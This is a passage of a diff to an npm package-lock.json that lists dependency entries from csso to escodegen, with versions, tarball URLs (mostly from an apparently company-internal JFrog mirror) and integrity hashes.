"https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/csso/-/csso-4.2.0.tgz", + "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "requires": { + "css-tree": "^1.1.2" + }, + "dependencies": { + "css-tree": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "requires": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + } + }, + "mdn-data": { + "version": "2.0.14", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==" + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + } + } + }, + "cssom": { + "version": "0.4.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssom/-/cssom-0.4.4.tgz", + "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==" + }, + "cssstyle": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssstyle/-/cssstyle-2.3.0.tgz", + "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "requires": { + "cssom": "~0.3.6" + }, + "dependencies": { + "cssom": { + "version": "0.3.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssom/-/cssom-0.3.8.tgz", + "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==" + } + } + }, + "csstype": { + "version": "3.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/csstype/-/csstype-3.1.2.tgz", + "integrity": "sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==" + }, + "damerau-levenshtein": { + "version": "1.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz", + "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==" + }, + "data-urls": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/data-urls/-/data-urls-2.0.0.tgz", + "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==", + "requires": { + "abab": "^2.0.3", + "whatwg-mimetype": "^2.3.0", + "whatwg-url": "^8.0.0" + } + }, + "debug": { + "version": "4.3.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "requires": { + "ms": "2.1.2" + } + }, + "decimal.js": { + "version": "10.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/decimal.js/-/decimal.js-10.4.3.tgz", + "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==" + }, + "dedent": { + "version": "0.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dedent/-/dedent-0.7.0.tgz", + "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==" + }, + "deep-equal": { + "version": "2.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/deep-equal/-/deep-equal-2.2.1.tgz", + "integrity": "sha512-lKdkdV6EOGoVn65XaOsPdH4rMxTZOnmFyuIkMjM1i5HHCbfjC97dawgTAy0deYNfuqUqW+Q5VrVaQYtUpSd6yQ==", + "requires": { + "array-buffer-byte-length": "^1.0.0", + "call-bind": "^1.0.2", + "es-get-iterator": "^1.1.3", + "get-intrinsic": "^1.2.0", + "is-arguments": "^1.1.1", + "is-array-buffer": "^3.0.2", + "is-date-object": "^1.0.5", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "isarray": "^2.0.5", + "object-is": "^1.1.5", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.5.0", + "side-channel": "^1.0.4", + "which-boxed-primitive": "^1.0.2", + "which-collection": "^1.0.1", + "which-typed-array": "^1.1.9" + } + }, + "deep-is": { + "version": "0.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==" + }, + "deepmerge": { + "version": "4.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==" + }, + "default-gateway": { + "version": "6.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/default-gateway/-/default-gateway-6.0.3.tgz", + "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==", + "requires": { + "execa": "^5.0.0" + } + }, + "define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "requires": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + } + }, + "define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==" + }, + "define-properties": { + "version": "1.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/define-properties/-/define-properties-1.2.0.tgz", + "integrity": "sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==", + "requires": { + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + } + }, + "delayed-stream": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==" + }, + "depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" + }, + "dequal": { + "version": "2.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==" + }, + "destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==" + }, + "detect-newline": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/detect-newline/-/detect-newline-3.1.0.tgz", + "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==" + }, + "detect-node": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==" + }, + "detect-port-alt": { + "version": "1.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/detect-port-alt/-/detect-port-alt-1.1.6.tgz", + "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==", + "requires": { + "address": "^1.0.1", + "debug": "^2.6.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + } + } + }, + "didyoumean": { + "version": "1.2.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==" + }, + "diff-sequences": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/diff-sequences/-/diff-sequences-27.5.1.tgz", + "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==" + }, + "dir-glob": { + "version": "3.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "requires": { + "path-type": "^4.0.0" + } + }, + "dlv": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==" + }, + "dns-equal": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dns-equal/-/dns-equal-1.0.0.tgz", + "integrity": "sha512-z+paD6YUQsk+AbGCEM4PrOXSss5gd66QfcVBFTKR/HpFL9jCqikS94HYwKww6fQyO7IxrIIyUu+g0Ka9tUS2Cg==" + }, + "dns-packet": { + "version": "5.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dns-packet/-/dns-packet-5.6.0.tgz", + "integrity": "sha512-rza3UH1LwdHh9qyPXp8lkwpjSNk/AMD3dPytUoRoqnypDUhY0xvbdmVhWOfxO68frEfV9BU8V12Ez7ZsHGZpCQ==", + "requires": { + "@leichtgewicht/ip-codec": "^2.0.1" + } + }, + "doctrine": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "requires": { + "esutils": "^2.0.2" + } + }, + "dom-accessibility-api": { + "version": "0.5.16", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", + "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==" + }, + "dom-converter": { + "version": "0.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dom-converter/-/dom-converter-0.2.0.tgz", + "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==", + "requires": { + "utila": "~0.4" + } + }, + "dom-serializer": { + "version": "1.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "requires": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + } + }, + "domelementtype": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==" + }, + "domexception": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/domexception/-/domexception-2.0.1.tgz", + "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==", + "requires": { + "webidl-conversions": "^5.0.0" + }, + "dependencies": { + "webidl-conversions": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webidl-conversions/-/webidl-conversions-5.0.0.tgz", + "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==" + } + } + }, + "domhandler": { + "version": "4.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "requires": { + "domelementtype": "^2.2.0" + } + }, + "domutils": { + "version": "2.8.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "requires": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + } + }, + "dot-case": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "dotenv": { + "version": "10.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dotenv/-/dotenv-10.0.0.tgz", + "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==" + }, + "dotenv-expand": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dotenv-expand/-/dotenv-expand-5.1.0.tgz", + "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==" + }, + "duplexer": { + "version": "0.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/duplexer/-/duplexer-0.1.2.tgz", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==" + }, + "ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" + }, + "ejs": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz", + "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==", + "requires": { + "jake": "^10.8.5" + } + }, + "electron-to-chromium": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.13.tgz", + "integrity": "sha512-lbBcvtIJ4J6sS4tb5TLp1b4LyfCdMkwStzXPyAgVgTRAsep4bvrAGaBOP7ZJtQMNJpSQ9SqG4brWOroNaQtm7Q==" + }, + "emittery": { + "version": "0.8.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/emittery/-/emittery-0.8.1.tgz", + "integrity": "sha512-uDfvUjVrfGJJhymx/kz6prltenw1u7WrCg1oa94zYY8xxVpLLUu045LAT0dhDZdXG58/EpPL/5kA180fQ/qudg==" + }, + "emoji-regex": { + "version": "9.2.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==" + }, + "emojis-list": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==" + }, + "encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==" + }, + "enhanced-resolve": { + "version": "5.17.1", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz", + "integrity": "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==", + "requires": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + } + }, + "entities": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==" + }, + "error-ex": { + "version": "1.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "requires": { + "is-arrayish": "^0.2.1" + } + }, + "error-stack-parser": { + "version": "2.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/error-stack-parser/-/error-stack-parser-2.1.4.tgz", + "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==", + "requires": { + "stackframe": "^1.3.4" + } + }, + "es-abstract": { + "version": "1.21.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-abstract/-/es-abstract-1.21.2.tgz", + "integrity": "sha512-y/B5POM2iBnIxCiernH1G7rC9qQoM77lLIMQLuob0zhp8C56Po81+2Nj0WFKnd0pNReDTnkYryc+zhOzpEIROg==", + "requires": { + "array-buffer-byte-length": "^1.0.0", + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "es-set-tostringtag": "^2.0.1", + "es-to-primitive": "^1.2.1", + "function.prototype.name": "^1.1.5", + "get-intrinsic": "^1.2.0", + "get-symbol-description": "^1.0.0", + "globalthis": "^1.0.3", + "gopd": "^1.0.1", + "has": "^1.0.3", + "has-property-descriptors": "^1.0.0", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.5", + "is-array-buffer": "^3.0.2", + "is-callable": "^1.2.7", + "is-negative-zero": "^2.0.2", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "is-string": "^1.0.7", + "is-typed-array": "^1.1.10", + "is-weakref": "^1.0.2", + "object-inspect": "^1.12.3", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.4.3", + "safe-regex-test": "^1.0.0", + "string.prototype.trim": "^1.2.7", + "string.prototype.trimend": "^1.0.6", + "string.prototype.trimstart": "^1.0.6", + "typed-array-length": "^1.0.4", + "unbox-primitive": "^1.0.2", + "which-typed-array": "^1.1.9" + } + }, + "es-array-method-boxes-properly": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz", + "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==" + }, + "es-define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz", + "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==", + "requires": { + "get-intrinsic": "^1.2.4" + } + }, + "es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==" + }, + "es-get-iterator": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-get-iterator/-/es-get-iterator-1.1.3.tgz", + "integrity": "sha512-sPZmqHBe6JIiTfN5q2pEi//TwxmAFHwj/XEuYjTuse78i8KxaqMTTzxPoFKuzRpDpTJ+0NAbpfenkmH2rePtuw==", + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "has-symbols": "^1.0.3", + "is-arguments": "^1.1.1", + "is-map": "^2.0.2", + "is-set": "^2.0.2", + "is-string": "^1.0.7", + "isarray": "^2.0.5", + "stop-iteration-iterator": "^1.0.0" + } + }, + "es-module-lexer": { + "version": "1.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-module-lexer/-/es-module-lexer-1.3.0.tgz", + "integrity": "sha512-vZK7T0N2CBmBOixhmjdqx2gWVbFZ4DXZ/NyRMZVlJXPa7CyFS+/a4QQsDGDQy9ZfEzxFuNEsMLeQJnKP2p5/JA==" + }, + "es-set-tostringtag": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-set-tostringtag/-/es-set-tostringtag-2.0.1.tgz", + "integrity": "sha512-g3OMbtlwY3QewlqAiMLI47KywjWZoEytKr8pf6iTC8uJq5bIAH52Z9pnQ8pVL6whrCto53JZDuUIsifGeLorTg==", + "requires": { + "get-intrinsic": "^1.1.3", + "has": "^1.0.3", + "has-tostringtag": "^1.0.0" + } + }, + "es-shim-unscopables": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-shim-unscopables/-/es-shim-unscopables-1.0.0.tgz", + "integrity": "sha512-Jm6GPcCdC30eMLbZ2x8z2WuRwAws3zTBBKuusffYVUrNj/GVSUAZ+xKMaUpfNDR5IbyNA5LJbaecoUVbmUcB1w==", + "requires": { + "has": "^1.0.3" + } + }, + "es-to-primitive": { + "version": "1.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-to-primitive/-/es-to-primitive-1.2.1.tgz", + "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", + "requires": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + } + }, + "escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==" + }, + "escape-html": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==" + }, + "escodegen": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/escodegen/-/escodegen-2.0.0.tgz", + "integrity": "sha512-mmHKys/C8BFUGI+MAWNcSYoORYLMdPzjrknd2Vc+bUsjN5bXcr8EhrNB+UTqfL1y3I9c4fw2ihgtMPQLBRiQxw==", + "requires": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2", + "optionator": "^0.8.1", + "source-map": "~0.6.1" + }, + "dependencies": { + "levn": { + "version": "0.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/levn/-/levn-0.3.0.tgz", + "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==", + "requires": { + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" + } + 